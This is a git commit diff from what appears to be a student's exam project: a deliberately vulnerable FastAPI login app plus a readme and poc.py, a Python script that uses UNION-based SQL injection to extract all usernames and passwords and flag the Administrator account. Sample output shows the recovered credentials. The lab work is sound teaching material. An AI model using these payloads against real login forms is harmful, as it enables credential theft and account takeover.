Compare commits

..

6 Commits

Author SHA1 Message Date
4ed1d130e3 personify 2025-12-16 10:44:15 +10:00
a6eb4c06fd updated screenshots 2025-12-16 10:41:38 +10:00
d6c4fb3e14 P-Net Reference added 2025-12-16 08:16:25 +10:00
f958956395 minimal readme added 2025-12-16 03:26:15 +10:00
85083c9f15 poc ordering FIXEEEED (looks like i'm getting no sleep today)))))) 2025-12-16 03:22:05 +10:00
ed137b7620 added admin highlight ( im cooked 2025-12-16 02:49:11 +10:00
28 changed files with 73 additions and 13 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 89 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 386 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

View File

@@ -1,7 +1,7 @@
services:
vunerable-web-app:
vunerable-web-app1:
image: kulesh_web-app:v0.0.1a
ports:
- "80:8000"
- "21252:8000"
volumes:
- ./data/:/app/data

25
poc.py
View File

@@ -9,24 +9,31 @@ args = parser.parse_args()
BASE_URL = args.base_url
login_payload = "' UNION SELECT login FROM users--"
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password_payload = "' UNION SELECT password FROM users--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_passwords = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
passwords_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_passwords.text).group(1)
logins= logins_raw.split("',), ('")
passwords = passwords_raw.split("',), ('")
passwords=[]
for login in logins:
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
passwords.append(password)
if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)):
if login == "Administrator":
print(f"{'*' * 60}")
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
print(f"{'*' * 60}")
else:
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
else:
print("Не удалось извлечь данные.")

View File

@@ -1 +0,0 @@
requests

54
readme.md Normal file
View File

@@ -0,0 +1,54 @@
!! Скриншоты без подписей, пожалуйста смотрите документ в yonote
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
# PC-Seq-Exam-WebApp
## Сборка
```sh
docker build -t kulesh_web-app:v0.0.1a .
```
## Запуск
```sh
docker compose up -d
```
## Регистрация через curl
```bash
curl -X POST http://10.254.252.100:801/register -d "login=Administrator&password=protected_by_sheer_will" -L
curl -X POST http://10.254.252.100:801/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
```
## SQLi
в бреду намаслал Proof Of Concept
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
пользователь очень любит скобочки кавычки и пробелы)
для запуска ставим requests,
```pip install requests```
в помошь)
```sh
python ./poc.py --base-url http://aboba.eu
```
допустм что 2 пользователя зарегались с посмошью команд выше
```
./poc.py
************************************************************
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
************************************************************
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
```
Выполнил Кулеш А.Б.
Б9123-09.03.04
---
Он постоянно что-то ест, он постоянно что-то пьёт
Он быстро набирает вес, клянётся, что в спортзал пойдёт
Но продолжает что-то есть и продолжает что-то пить